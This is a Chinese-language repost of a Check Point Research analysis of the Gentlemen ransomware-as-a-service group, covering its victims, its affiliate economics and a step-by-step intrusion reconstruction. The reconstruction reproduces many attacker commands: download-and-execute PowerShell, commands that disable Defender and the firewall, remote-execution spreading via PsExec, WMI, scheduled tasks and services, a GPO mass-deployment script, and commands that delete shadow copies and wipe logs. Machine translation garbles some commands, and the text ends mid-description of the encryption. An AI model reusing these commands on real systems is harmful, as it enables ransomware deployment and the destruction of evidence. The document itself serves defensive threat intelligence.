乐于分享
好东西不私藏

Gentlemen:一种新型勒索软件威胁正迅速攀升至排行榜榜首

Gentlemen:一种新型勒索软件威胁正迅速攀升至排行榜榜首

以下材料来源Check Point Research 报告
主要发现
  • 自 2025 年年中以来,Gentlemen 勒索软件即服务 (RaaS) 行动已造成超过 320 名受害者,仅 2026 年就发生了 240 起攻击,使其成为今年迄今为止受害者人数第二多的活跃勒索软件组织。
  • Check Point Research 获得了与 Gentlemen 关联组织有关联的实时命令和控制服务器的罕见访问权限,揭示了一个拥有超过 1570 家可能受害企业的僵尸网络,超过了该组织公开宣称的数字。
  • 该组织蓄意将面向互联网的设备(VPN、防火墙)作为攻击入口,一旦入侵成功,便会在数小时内迅速加密整个网络。
  • 制造业和科技行业是最常被攻击的领域,医疗保健行业正日益成为第三个目标——这表明该组织并未遵守一些勒索软件运营商对关键服务设定的非正式限制。
  • 与行业标准的 80/20 相比,90/10 的加盟商收入分成比例正在吸引来自竞争对手项目的经验丰富的运营商,从而加速该集团的增长。
一个不像新团体的新团体

大多数 高调崛起的勒索软件 组织几个月内就会销声匿迹。“绅士帮”却不遵循这一规律。

自2025年中期出现以来,该组织的发展速度堪比LockBit 3早期阶段——LockBit 3被广泛认为是勒索软件领域的黄金标准。截至2026年4月,“绅士帮”(The Gentlemen)已在其数据泄露网站上公开列出了超过320名受害者,其中240名受害者仅发生在2026年的前几个月。而这个数字仅仅反映了那些拒绝支付赎金的组织;实际受害者人数几乎肯定更高。

Check Point Research (CPR) 自该组织出现以来就一直在跟踪它,他们最新的分析,包括来自积极的事件响应参与和对攻击者控制的实时服务器的访问的调查结果,揭示了为什么该组织能够如此迅速地扩张,以及这对企业安全团队意味着什么。

他们为何壮大:犯罪分子的经济利益得到改善

要了解“绅士帮”为何能如此迅速地吸引联盟成员,就必须了解勒索软件即服务 (RaaS) 商业模式的运作方式。勒索软件运营者构建工具和基础设施;联盟成员执行攻击并与运营者分享赎金。

“绅士帮”向其成员提供每笔赎金90%的分成,而大多数竞争对手的项目只提供80%。在以金钱利益驱动的犯罪生态系统中,这10%的差距至关重要。它吸引着经验丰富的犯罪分子离开知名品牌,加入“绅士帮”的项目,并将他们的技能、人脉网络和过往业绩带入其中。

其结果是规模迅速扩张。该组织的发展并非源于发明了全新的攻击手段,事实上,他们的大部分技术都已相当成熟。他们之所以能够发展壮大,是因为他们的商业模式更具吸引力,并且他们构建了一个能够支持庞大且不断增长的联盟用户群的程序,该程序可以覆盖 Windows、Linux 和 ESXi 等多种环境。

攻击还原

初始访问和建立域控制

无法最终确定具体的初始访问途径。目前可以确定的攻击者活动的最早阶段是攻击者拥有域管理员级别的权限并已进入域控制器。从该位置出发,攻击者似乎对整个环境进行了系统的凭证验证和主机可访问性测试,这体现在最初网络登录失败,随后从域控制器成功进行身份验证的模式上。这一过程符合攻击者在更广泛地扩展攻击范围之前,先进行受控操作以验证特权访问权限并识别可用系统的做法。远程执行和早期发现
利用这一特权,攻击者通过将可执行文件写入管理共享目录(例如 `/etc/cobalt/strike/`)\\\\[REDACTED_HOSTNAME]\\ADMIN$\\<random_7_char>.exe并通过 RPC 执行,将 Cobalt Strike 有效载荷部署到远程系统。首次观察到的部署发生在内部端点,之后类似的活动出现在其他主机上。早期入侵后的操作包括侦察命令(例如 ` /etc/cobalt/strike/`、`/etc/cobalt/strike/`)和枚举命令(例如cmd.exe /C systeminfo` /etc/cobalt/strike /`)。攻击者还通过 `/etc/cobalt/strike/` 访问了内部文档,表明除了自动化发现之外,还使用了特定环境的知识。随后迅速扩展到其他系统,在多个主机上重复执行的痕迹(例如 `/etc/cobalt/strike/`)
随着攻击范围的扩大,攻击者试图建立额外的命令与控制能力。在一台被攻陷的主机上,攻击者部署了一个工具socks.exe(被识别为 SystemBC 的一个变种),该工具被执行并尝试与目标主机通信45.86.230[.]112,随后使用 进行验证cmd.exe /C tasklist | findstr /i socks。该工具通常用于创建基于 SOCKS 的代理通道,以进行隐蔽通信和内部跳转。然而,在本例中,该活动被终端安全防护拦截。不久之后,远程执行的有效载荷(<random_7_char>.exe)生成了c:\\windows\\system32\\rundll32.exe,该有效载荷91.107.247[.]163通过 443 端口(后改为 80 端口)与 Cobalt Strike C&C 服务器建立了出站通信,表明攻击者已通过备用基础设施成功建立了外部命令与控制连接。
同时,PowerShell 是通过计划任务上下文执行的,具体操作如下:
powershell.exe -ExecutionPolicy Bypass -command ( new -object net.webclient ) .downloadfile ( ‘ http://[REDACTED_DOMAIN_CONTROLLER]:8080 / grand.exe’ , ‘c:\\programdata\\r.exe’ ) ; c:\\programdata\\r.exe –password VvO8EtUh –spread [ REDACTED_DOMAIN ] \\ [ REDACTED_USER ] : [ REDACTED_PASSWORD ]
该命令grand.exe从内部暂存服务器 (DC) 下载了勒索软件加密器,并以管理员身份执行c:\\programdata\\r.exe。参数–password VvO8EtUh和–spread [REDACTED_DOMAIN]\\[REDACTED_USER]:[REDACTED_PASSWORD]表明既有受控执行,又有内置传播功能,标志着从初始访问到协调恶意软件部署的转变。防御规避、传播和持续
在预先部署的有效载荷执行完毕后,攻击者试图通过以下方式削弱主机的防御能力:
powershell.exe -Command Set-MpPreference -DisableRealtimeMonitoring $ true -Force
这导致 Windows Defender 实时监控功能失效。随后,同一有效载荷(由一致的哈希值标识)以不同的文件名出现在多个系统中,包括 `<filename>`、`<filename>`c:\\programdata\\r.exe和c:\\programdata\\g.exe` c:\\programdata\\o.exe<filename>`。这表明恶意软件通过共享组件在内部快速传播,并得到了域级访问权限和前面描述的内置传播机制的支持。
与此同时,攻击者使用以下命令执行了环境检查:
cmd.exe /C wmic product where Name like ‘%kaspe%’ get Name, IdentifyingNumber
随后,在多台主机上反复执行:
cmd.exe /C gpupdate / force
这些尝试表明,攻击者试图在传播过程中影响或验证策略状态。随后,远程桌面功能通过以下命令启用:
cmd.exe /C reg add HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server /v fDenyTSConnections /t REG_DWORD /d 0 / f
cmd.exe /C netsh advfirewall firewall set rule group= “远程桌面” new enable =Yes
随后,攻击者使用以下命令安装并配置了 AnyDesk:
cmd.exe / C anydesk.exe –install C:\\Program Files ( x86 ) \\AnyDesk\\anydesk.exe –start -with-win
cmd.exe / C echo Camry@ 12345 | C:\\Program Files ( x86 ) \\AnyDesk\\AnyDesk.exe –set -password
cmd.exe / C anydesk.exe –start
cmd.exe /C anydesk.exe –get – id
这建立了一个具有预定义密码(Camry@12345)的持久远程访问通道,在 SystemBC 尝试被阻止后添加了辅助访问机制。凭证访问和持续发现
被入侵的主机也被用于窃取凭证。从其中一个被入侵的终端内存中恢复的 Mimikatz 输出显示,攻击者能够访问凭证材料,包括域帐户和凭证管理器中存储的凭证。这证实了凭证访问与横向移动和恶意软件部署同时发生。
与此同时,攻击者继续使用诸如以下命令进行侦察操作:
cmd.exe / C查询会话
cmd.exe /C nltest / domain_trusts
cmd.exe /C nltest / dclist
cmd.exe /C net group “Domain Admins” / domain
cmd.exe /C net group “Enterprise Admins” / domain
这些命令表明,活动会话、域信任关系、域控制器和特权组将被枚举,这反映出人们正在转向理解并可能控制更广泛的域结构。入侵事件综合视图
总的来说,此次攻击从疑似边界访问开始,逐步发展到域级控制,随后进行凭证验证,通过 ADMIN$ 共享远程执行有效载荷,并迅速扩展到各个终端。与此同时,攻击者尝试并成功利用诸如45.86.230[.]112和等基础设施建立命令与控制91.107.247[.]163,从内部数据中心分阶段投放恶意软件,并以多个文件名广泛传播共享有效载荷。防御措施被积极压制,攻击者引入了多种持久化和数据窃取机制,包括 RDP 和 AnyDesk。
SystemBC部署失败以及随后对其他渠道的依赖表明,攻击者在受阻后调整了策略。总体而言,该活动体现了协调一致、集中控制的执行方式,并采用了分层访问机制,从而实现了对环境的广泛而持久的控制。影响
此次入侵最终由其关联方部署了“绅士”(The Gentlemen)勒索软件即服务(RaaS)有效载荷,并使用组策略作为分发机制。基于组策略对象(GPO)的部署配置使得勒索软件二进制文件在策略刷新期间在已加入域的系统上执行,从而导致整个环境中的加密事件迅速且几乎同时发生。
持久化
在执行过程中,勒索软件会尝试使用多种机制来建立持久化。它首先尝试创建一个计划任务,最初不会验证当前进程的权限:schtasks /Delete /TN UpdateSystem /Fschtasks /Create /SC ONSTART /TN UpdateSystem /TR “<exe> <args>” /RU SYSTEM
在第二次尝试中,勒索软件通过重新发出不带句点的命令,在用户上下文中创建相同的计划任务/RU SYSTEM。schtasks /Delete /TN UpdateUser /Fschtasks /Create /SC ONSTART /TN UpdateUser /TR “<exe> <args>”
第二种本地持久化方法依赖于Run注册表项。与计划任务类似,恶意软件会尝试同时为系统(HKLM)和当前用户(HKCU)配置此注册表项:reg add HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run /v GupdateU /t REG_SZ /d “<exe>” /f
启用该–spread参数后,勒索软件还会尝试在每个可访问的主机上保持远程持久性。对于每个目标,它会建立两种持久性机制:基于计划任务的持久化基于服务的持久性
这两种机制都试图从远程计算机上的不同位置或通过共享执行勒索软件。
# 计划任务
schtasks /Create /S <目标> /TN DefS /TR “<exe>” /SC ONCE /ST < HH:MM > /RU SYSTEM
schtasks /Run /S <目标> /TN DefS
schtasks /Create /S <目标> /TN UpdateGS /TR “\\\\<主机>\\share$\\<exe> <凭据>” /SC ONCE /ST <时:分> /RU SYSTEM
schtasks /Run /S <目标> /TN UpdateGS
schtasks /Create /S <目标> /TN UpdateGS2 /TR “C:\\Temp\\<exe> <凭据>” /SC ONCE /ST < HH:MM > /RU SYSTEM
schtasks /Run /S <目标> /TN UpdateGS2
# 服务
sc \\\\ < target >创建 DefSvc binpath= “<exe>”
sc \\\\ <目标>开始 DefSvc
sc \\\\ < target > create UpdateSvc binpath= “\\\\<host>\\share$\\<exe> <creds>”
sc \\\\ <目标>开始 UpdateSvc
sc \\\\ < target > create UpdateSvc2 binpath= “C:\\Temp\\<exe> <creds>”
sc \\\\ <目标>开始 UpdateSvc2
*参数的完整命令–spread行如下所示。反病毒规避
该勒索软件执行三条 PowerShell 命令来禁用Microsoft Defender保护,并将自身和整个C:\\驱动器从扫描和监控中排除:powershell -Command Set-MpPreference -DisableRealtimeMonitoring $true -Force这会完全禁用 Defender 的实时保护功能,即后台扫描功能,该功能会在文件、下载和进程被访问时对其进行监控。禁用此功能后,恶意软件就可以在不被拦截的情况下运行。powershell -Command Add-MpPreference -ExclusionProcess <ransomware_exe> -Force此操作会将特定可执行文件添加到 Defender 的进程排除列表中。Defender 将完全忽略该进程触发的任何文件活动,即使它正在执行恶意操作。powershell -Command Add-MpPreference -ExclusionPath C:\\ -Force这会将整个 C 盘添加到 Defender 的路径排除列表中。这样,Defender 就不会扫描该驱动器上的所有内容,包括所有文件、文件夹和可执行文件。
在横向移动过程中,勒索软件会尝试通过推送 PowerShell 脚本来使每个可访问的远程主机上的 Windows Defender 失效。该脚本会禁用实时监控,为驱动器、暂存共享和自身进程添加广泛的排除项,关闭防火墙,重新启用 SMB1,并放宽 LSA 匿名访问控制,所有这些操作都会在勒索软件二进制文件部署到该主机并执行之前完成。
Set-MpPreference -DisableRealtimeMonitoring $ true
Add-MpPreference -ExclusionPath ‘C:\\’
Add-MpPreference -ExclusionPath ‘C:\\Temp’
Add-MpPreference -ExclusionPath ‘\\\\<host>\\share$’
Add-MpPreference -ExclusionProcess ‘<exe>’
Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled False
启用-Windows可选功能 -联机 -功能名称 SMB1协议 -不重启
reg add …\\Lsa /v EveryoneIncludesAnonymous /t REG_DWORD /d 1 /f
reg add …\\Lsa /v RestrictAnonymous /t REG_DWORD /d 0 /fWindows 防火墙
该勒索软件试图禁用防火墙,以允许不受限制的出入流量。这使得横向移动工具(PsExec、WMI、SMB)能够绕过防火墙规则访问远程主机,并允许数据泄露通道自由运作。以下是禁用防火墙的执行命令:netsh advfirewall set allprofiles state offpowershell -Command Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled Falsesc stop mpssvcsc config mpssvc start=disabled横向移动,–spread论点
该–spread参数默认禁用,并被赋予一个值”DISABLED”。横向移动阶段仅在操作员显式提供–spread “domain\\user:password”从环境中获取的凭据时才会激活。
然后,这些凭据会在所有横向移动操作中重复使用:PsExec 通过-u和-p参数接收它们,WMI 使用它们进行远程身份验证,以及远程计划任务和服务创建,并使用这些凭据对每个目标主机进行身份验证。
一旦–spread启用,勒索软件就会通过 Active Directory 枚举所有域计算机,ping 每个发现的主机以确认其可达性,并且对于每个响应的主机,执行完整的横向移动序列:复制二进制文件,推送禁用 Defender 的脚本,并通过 PsExec、WMI、计划任务和服务等六个并行执行通道将其部署。
—设置(在每次目标循环之前执行一次)—
cmd /C copy “<exe>” “C:\\Temp\\” /Y
cmd /C xcopy “<exe>” “\\\\<host>\\C$\\Temp\\” /Y /I /C /H /R /K
cmd /C net share share$=C:\\Temp /GRANT:Everyone,FULL
cmd /C icacls C:\\Temp /grant “匿名登录” :F
cmd /C reg add HKLM\\SYSTEM\\CurrentControlSet\\Services\\LanmanServer\\Parameters
        /v NullSessionShares /t REG_MULTI_SZ /d share$ /f
cmd /C reg add HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa
        /v EveryoneIncludesAnonymous /t REG_DWORD /d 1 /f
— 每个目标(遍历所有可达主机)—
— 文件复制到目标 —
cmd /C copy “<exe>” “C:\\Temp\\” /Y
cmd /C xcopy “<exe>” “\\\\<目标>\\C$\\Temp\\” /Y /I /C /H /R /K
— PsExec:禁用目标上的 Defender (需提供凭据)–
psexec \\\\ <目标> -accepteula -d -s -u <域\\用户> -p <密码>
     cmd /c < DEFENDER_SCRIPT_A >
— PsExec:禁用目标上的 Defender (无需凭据)–
psexec \\\\ <目标> -accepteula -d -s
     cmd /c < DEFENDER_SCRIPT_A >
— PsExec:通过本地临时目录运行(需提供凭据)–
psexec \\\\ <目标> -accepteula -d -h -u <域\\用户> -p <密码>
     C:\\Temp\\ < exe > < creds >
— PsExec:通过本地临时目录运行(无需凭据)–
psexec \\\\ <目标> -accepteula -d -h
     C:\\Temp\\ < exe >
— WMI:运行 Defender 禁用脚本 —
wmic /node: <目标>进程调用创建“<DEFENDER_SCRIPT_A>”
— WMI:通过共享路径运行 —
wmic /node: <目标>进程调用创建
“\\\\<host>\\share$\\<exe> <creds>”
— WMI:通过本地 Temp 运行 —
wmic /node: <目标>进程调用创建
“C:\\Temp\\<exe> <creds>”
— 远程 schtask:DefU (无 SYSTEM )–
schtasks /Create /S <目标> /TN DefU
      /TR “<exe>” /SC ONCE /ST < HH:MM >
schtasks /Run /S <目标> /TN DefU
— 远程 schtask:UpdateGU (共享路径)–
schtasks /Create /S <目标> /TN UpdateGU
      /TR “\\\\<host>\\share$\\<exe> <creds>” /SC ONCE /ST < HH:MM >
schtasks /Run /S <目标> /TN UpdateGU
— 远程 schtask:UpdateGU2 (本地 Temp )–
schtasks /Create /S <目标> /TN UpdateGU2
      /TR “C:\\Temp\\<exe> <creds>” /SC ONCE /ST < HH:MM >
schtasks /Run /S <目标> /TN UpdateGU2
— 远程 schtask: DefS ( SYSTEM, direct exe ) —
schtasks /Create /S <目标> /TN DefS
      /TR “<exe>” /SC ONCE /ST < HH:MM > /RU SYSTEM
schtasks /Run /S <目标> /TN DefS
— 远程 schtask:UpdateGS (SYSTEM,共享路径)–
schtasks /Create /S <目标> /TN UpdateGS
      /TR “\\\\<host>\\share$\\<exe> <creds>” /SC ONCE /ST < HH:MM > /RU SYSTEM
schtasks /Run /S <目标> /TN UpdateGS
— 远程 schtask: UpdateGS2 ( SYSTEM, local Temp ) —
schtasks /Create /S <目标> /TN UpdateGS2
      /TR “C:\\Temp\\<exe> <creds>” /SC ONCE /ST < HH:MM > /RU SYSTEM
schtasks /Run /S <目标> /TN UpdateGS2
— 远程服务:DefSvc (直接执行)–
sc \\\\ < target >创建 DefSvc binpath= “<exe>”
sc \\\\ <目标>开始 DefSvc
— 远程服务:UpdateSvc (共享路径)–
sc \\\\ < target > create UpdateSvc binpath= “\\\\<host>\\share$\\<exe> <creds>”
sc \\\\ <目标>开始 UpdateSvc
— 远程服务:UpdateSvc2 (本地临时)–
sc \\\\ < target > create UpdateSvc2 binpath= “C:\\Temp\\<exe> <creds>”
sc \\\\ <目标>开始 UpdateSvc2
— 远程 PowerShell:SCRIPT_B — 完全访问 Defender/防火墙/SMB1/LSA/共享(无需凭据)–
powershell -NoProfile -ExecutionPolicy Bypass -Command
“Set-MpPreference -DisableRealtimeMonitoring $true;
    Add-MpPreference -ExclusionPath ‘C:\\’;
    Add-MpPreference -ExclusionPath ‘C:\\Temp’;
    Add-MpPreference -ExclusionPath ‘\\\\<host>\\share$’;
    Add-MpPreference -ExclusionProcess ‘<exe>’;
    Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled False;
    Get-PSDrive -PSProvider FileSystem |
     Where-Object {$_.Name -match ‘^[AZ]$’} |
     ForEach-Object {
      $d = $_.Name;
      净份额 ($d+’$’)=($d+’:\\’) /GRANT:Everyone,FULL 2>$null;
      icacls ($d+’:\\’) /grant Everyone:F /T /C /Q 2>$null
     };
    Enable-WindowsOptionalFeature -Online -FeatureName SMB1Protocol -NoRestart 2>$null;
    reg add ‘HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa’
      /v EveryoneIncludesAnonymous /t REG_DWORD /d 1 /f 2>$null;
    reg add ‘HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa’
      /v RestrictAnonymous /t REG_DWORD /d 0 /f 2>$null”
— 远程 PowerShell:SCRIPT_C — 禁用 WinRM Defender 并排除进程(使用凭据)–
powershell -NoProfile -ExecutionPolicy Bypass -Command
“Invoke-Command -ComputerName <target> -ScriptBlock {
      Set-MpPreference -DisableRealtimeMonitored $true;
      Add-MpPreference -ExclusionPath ‘C:\\’;
      Add-MpPreference -ExclusionProcess ‘<exe>’
    }”
— 远程 PowerShell:SCRIPT_D — 通过共享启动 WinRM 进程(无需凭据,67 个字符的模板)–
powershell -NoProfile -ExecutionPolicy Bypass -Command
“Invoke-Command -ComputerName <target> -ScriptBlock { Start-Process ‘<exe>’ }”
— 远程 PowerShell:SCRIPT_E — 通过共享启动 WinRM 进程(带凭据,96字符模板)–
powershell -NoProfile -ExecutionPolicy Bypass -Command
“Invoke-Command -ComputerName <target> -ScriptBlock {
      Start-Process -FilePath ‘<\\\\<host>\\share$\\<exe>>’ -ArgumentList ‘<creds>’
    }”
— 远程 PowerShell:SCRIPT_F — 通过本地临时文件启动 WinRM 进程(无需凭据,63 个字符的模板)–
powershell -NoProfile -ExecutionPolicy Bypass -Command
“Invoke-Command -ComputerName <target> -ScriptBlock { Start-Process ‘C:\\Temp\\<exe>’ }”
— 远程 PowerShell:SCRIPT_G — 通过本地临时目录和参数(带凭据)启动 WinRM 进程–
powershell -NoProfile -ExecutionPolicy Bypass -Command
“Invoke-Command -ComputerName <target> -ScriptBlock {
      Start-Process -FilePath ‘C:\\Temp\\<exe>’ -ArgumentList ‘<creds>’
    }”
SCRIPT_A (禁用 Defender — 由 PsExec 和 WMI 调用内联使用)
—————————————————————
powershell -Command “Set-MpPreference -DisableRealtimeMonitoring $true;
   Add-MpPreference -ExclusionPath ‘C:\\’;
   Add-MpPreference -ExclusionPath ‘C:\\Temp’;
   Add-MpPreference -ExclusionPath ‘\\\\<host>\\share$’;
   Add-MpPreference -ExclusionProcess ‘<exe>’;
   Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled False;
   Enable-WindowsOptionalFeature -Online -FeatureName SMB1Protocol -NoRestart 2>$null;
   reg add HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa
     /v EveryoneIncludesAnonymous /t REG_DWORD /d 1 /f 2>$null;
   reg add ‘HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa’
     /v RestrictAnonymous /t REG_DWORD /d 0 /f 2>$null”通过组策略部署
该–gpo标志启用了整个二进制文件中功能最强大、影响范围最广的部署方法,专为已攻陷域控制器的操作人员而设。它旨在利用 Active Directory 自身的组策略基础架构,在域中的每台计算机上同时引爆勒索软件。–gpo启用后,将执行以下 PowerShell 脚本:
  Write-Host [+] 正在安装所需模块…”
try { Import-Module ServerManager -ErrorAction Stop } catch {}
try { Add-WindowsFeature RSAT-AD-PowerShell -ErrorAction SilentlyContinue } catch {}
try { Install-WindowsFeature RSAT-AD-PowerShell -ErrorAction SilentlyContinue } catch {}
try { Add-WindowsCapability -Online -Name “Rsat.ActiveDirectory.DS-LDS.Tools~~~~0.0.1.0”
        -ErrorAction SilentlyContinue } catch {}
try { Add-WindowsCapability -Online -Name “Rsat.GroupPolicy.Management.Tools~~~~0.0.1.0”
        -ErrorAction SilentlyContinue } catch {}
尝试{ DISM.exe /Online / Add-Capability
        /CapabilityName:Rsat.ActiveDirectory.DS-LDS.Tools ~~~~ 0.0.1.02 > $ null } catch { }
尝试{ DISM.exe /Online / Add-Capability
        /CapabilityName:Rsat.GroupPolicy.Management.Tools ~~~~ 0.0.1.02 > $ null } catch { }
  Import-Module ActiveDirectory -ErrorAction SilentlyContinue
  Import-Module GroupPolicue -ErrorAction SilentlyContinue
  Write-Host [+] 正在获取域名信息…”
尝试{
      $Domain = ( Get-ADDomain ) . DNSRoot
      $DomainDN = ( Get-ADDomain ) . DistinguishedName
      Write-Host “[+] 来自 AD 的域: $Domain”
}抓住{
尝试{
          $Domain = ( Get-WmiObject Win32_ComputerSystem ) . Domain
          $DomainDN = “DC=” + ( $Domain -replace ‘\\.’ , ‘,DC=’ )
          Write-Host “[+] 来自 WMI 的域: $Domain”
}抓住{
          $Domain = $env:USERDNSDOMAIN
          $DomainDN = “DC=” + ( $Domain -replace ‘\\.’ , ‘,DC=’ )
          Write-Host “[+] 来自环境的域名: $Domain”
}
}
  Write-Host “[+] 正在将锁存器复制到 NETLOGON…”
  $ExePath = “\\\\$Domain\\NETLOGON\\<exe>”
  Copy-Item -Path “<exe>” -Destination $ExePath -Force -ErrorAction SilentlyContinue
  Write-Host “[+] 正在创建 GPO…”
  $guid = [ guid ] :: NewGuid () . ToString () . ToUpper ()
新建-GPO -名称”<gpo_name>” -注释”系统更新” -错误操作 SilentlyContinue |输出-Null
新建-GPLink -名称”<gpo_name>” -目标 $DomainDN -错误操作 SilentlyContinue |输出-空
  $GpoScheduledPath = “\\\\$Domain\\SYSVOL\\$Domain\\Policies\\{$guid}\\Machine\\Preferences\\ScheduledTasks”
新建- 项目 – 项目类型 目录 – 路径 $GpoScheduledPath – 强制|输出- 空
  $TaskXmlPath = “$env:TEMP\\ScheduledTasks.xml”
  $TaskName = “SystemUpdate”
  @ “
  <ScheduledTasks clsid=” { CC63F200- 7309 -4ba0-B154-A71CD118DBCC } “>
    <ImmediateTaskV2 clsid=” { 9756B581-76EC- 4169 -9AFC-0CA8D43ADB5F } “
        name=” $TaskName ” image=” 0 ” changed=” < timestamp > ” uid=” < uid > “
        userContext=” 0 ” removePolicy=” 0 “>
      <Properties action=” C ” name=” $TaskName “
          runAs=” NT AUTHORITY\\System ” logonType=” S4U “/>
      …
      <BootTrigger><Enabled>true</Enabled></BootTrigger>
      <RegistrationTrigger><Enabled>true</Enabled></RegistrationTrigger>
      <MultipleInstancesPolicy>忽略新</MultipleInstancesPolicy>
      <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>
      <StopIfGoingOnBatteries>false</StopIfGoingOnBatteries>
      <RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable>
    </ImmediateTaskV2>
  </ScheduledTasks>
  ” @ | Out-File -Encoding UTF8 -FilePath $TaskXmlPath -Force
  Copy-Item -Path $TaskXmlPath -Destination “$GpoScheduledPath\\ScheduledTasks.xml” -Force
if ( ! ( Test-Path $GpoScheduledPath )) {
# 路径创建守卫
}
  $comps = Get-ADComputer -Filter * | Select-Object -ExpandProperty Name
foreach ( $_ in $comps ) {
      Invoke-GPUpdate -Computer $_. name -RandomDelayInMinutes 0
          -强制 -错误操作 静默继续
      Invoke-Command -ComputerName $comp -ScriptBlock { gpupdate /force }
          -错误操作静默继续
}驱动器枚举
对于驱动器枚举,该恶意软件使用两种技术来识别可用卷:使用以下命令进行基于 PowerShell 的发现。对驱动器盘符进行暴力扫描,从 A: 到 遍历每个路径Z: 并调用 os.Stat 每个路径来确定它是否是有效的驱动器。
powershell -NoProfile -Command “$volumes=@();
$volumes += Get-WmiObject -Class Win32_Volume |
    Where-Object { $_.Name -like ‘:\\’ } |
    选择对象 -展开属性名称;
尝试 {
    $volumes += Get-ClusterSharedVolume |
        ForEach-Object { $_.SharedVolumeInfo.FriendlyVolumeName }
} 抓住 {}
$volumes”网络枚举
为了枚举网络驱动器,该勒索软件执行一系列 Windows 命令,强制启用网络发现和相关服务,使计算机在本地网络上可见且可访问。
sc config fdrespub start=auto
sc 开始 fdrespub
sc config fdPHost start=auto
sc 启动 fdPHost
sc config SSDPSRV start=auto
sc 启动 SSDPSRV
sc config upnphost start=auto
sc 启动 upnphost
netsh advfirewall firewall set rule group= “网络发现” new enable=Yes
powershell -Command Get-NetFirewallRule -DisplayGroup “Network Discovery” | Enable-NetFirewallRule
然后动态加载mpr.dll,并使用 Windows API 函数枚举网络共享:WNetOpenEnumWWNetEnumResourceWWNetCloseEnum目录、文件名和扩展名排除
与其他许多勒索软件家族一样,该勒索软件也会将特定的目录、文件名和文件扩展名排除在加密范围之外,从而确保系统在攻击后至少部分可用。
已排除的目录:
“c:\\\\windows” , “系统卷信息” , “c:\\\\intel” , “admin$” , “ipc$” , “!Cynet勒索软件保护(请勿删除)” , “sysvol” , “netlogon” , “$windows.~ws” , “应用程序数据” , “mozilla” , “c:\\\\program files\\\\microsoft” , “c:\\\\program files (x86)\\\\microsoft” , “c:\\\\program files (x86)\\\\intel” , “$windows.~bt” , “msocache” , “WinSxS” , “$Recycle.Bin” , “c:\\\\program files\\\\windows” , “c:\\\\program files (x86)\\\\windows” , “c:\\\\program files\\\\intel” 、“tor browser” 、“boot” 、“config.msi” 、“google” 、“System32” 、“perflogs” 、“appdata” 、“windows.old”
已排除的文件名:
桌面。ini ,自动运行。ini 、 ntldr 、 bootsect 。巴克,大拇指。数据库,启动。ini ,nt用户。数据,图标缓存。数据库,引导字体。bin ,页面文件。系统,nt用户。ini ,nt用户。数据。日志,自动运行。inf 、 bootmgr 、 hiberfil 。系统,引导管理器。efi 、bootmgfw。efi ,#recycle,README-GENTLEMEN.txt”c:\\\\windows”, “系统卷信息”, “c:\\\\intel”, “admin$”, “ipc$”, “!Cynet勒索软件保护(请勿删除)”, “sysvol”, “netlogon”, “$windows.~ws”, “应用程序数据”, “mozilla”, “c:\\\\program files\\\\microsoft”, “c:\\\\program files (x86)\\\\microsoft”, “c:\\\\program files (x86)\\\\intel”, “$windows.~bt”, “msocache”, “WinSxS”, “$Recycle.Bin”, “c:\\\\program files\\\\windows”, “c:\\\\program files (x86)\\\\windows”, “c:\\\\program files\\\\intel”, “tor浏览器”, “boot”, “config.msi”, “google”, “System32”, “perflogs”, “appdata”, “windows.old”
排除的扩展程序:
hemepack、nls、diapkg、msi、lnk、exe、scr、bat、drv、rtp、msp、prf、msc、ico、key、ocx、hosts、diagcab、diagcfg、pdb、wpx、hlp、icns、rom、dll、msstyles、mod、ps1、ics、hta、bin、cmd、ani、386 、lock、cur、idx、sys、com、deskthemepack、shs、theme、mpa、gif、mp3、nomedia、spl、cpl、adv、icl、msu
在排除的目录中,勒索软件明确忽略了 `<path>` 目录,并且没有列出该目录下的文件! Cynet Ransom Protection(DON\\’T DELETE),而 Cynet 很可能将诱饵文件放置在该目录下。通过跳过此目录,勒索软件有效地绕过了这种基于诱饵的特定保护机制。卷影副本和日志删除
在执行过程中,勒索软件会尝试删除卷影副本,而卷影副本是恢复加密文件的主要机制:vssadmin delete shadows /all /quietwmic shadowcopy deleterd /s /q C:\\$Recycle.Bin
除了卷影副本外,该勒索软件还会删除各种日志文件。这些日志通常包含身份验证事件、进程和服务创建事件以及横向移动痕迹。销毁这些文件显然是为了清除入侵的取证证据,并阻碍事后调查。
wevtutil cl 系统
wevtutil cl 应用程序
wevtutil cl 安全
del /f /q C:\\Windows\\Prefetch\\*.*
del /f /q C:\\ProgramData\\Microsoft\\Windows Defender\\Support\\*.*
del /f /q %SystemRoot%\\System32\\LogFiles\\RDP*\\*.*免费空间擦除
当攻击者使用该–wipe参数执行勒索软件时,该恶意软件还会尝试擦除磁盘上的可用空间。它会wipefile.tmp在每个目标驱动器上创建一个名为 `<filename>` 的文件,并向其中写入 64 MB 的数据块,直到所有可用空间都被耗尽。此过程会覆盖之前删除的文件内容,而这些内容原本可以使用取证工具进行恢复。背景图片更改
如果–silent未指定参数,勒索软件会将桌面背景替换为嵌入式图像。图像资源会被写入指定位置%TEMP%\\gentlemen.bmp,然后恶意软件会调用相关函数SystemParametersInfoW将其设置为桌面壁纸。文件加密
加密开始前,勒索软件会检查文件大小是否超过0x1000001,048,576 字节(或 1 MB)。小于或等于 1 MB 的文件会被路由到小文件处理程序,而大于 1 MB 的文件则会被路由到大文件处理程序。
无论路径大小,密钥派生过程在两条路径上都相同。勒索软件生成一个随机的 32 字节临时私钥。它使用 X25519(基于 Curve25519 的 Diffie-Hellman 密钥交换算法)派生出两个值:首先,通过将私钥乘以曲线基点得到临时公钥;其次,通过将临时私钥与攻击者的公钥组合得到共享密钥。临时公钥并非秘密密钥,稍后会存储在文件中,而共享密钥仅保存在内存中。然后,直接使用这些值构建加密密钥材料。临时公钥用作 32 字节对称密钥,而共享密钥的前 24 个字节(使用攻击者的公钥派生)用作随机数(nonce)。
对于小于 1MB 的小文件,其内容使用 XChaCha20 流密码进行加密。XChaCha20 将明文与密钥流进行异或运算,生成长度相同的密文。原始文件会被密文覆盖。
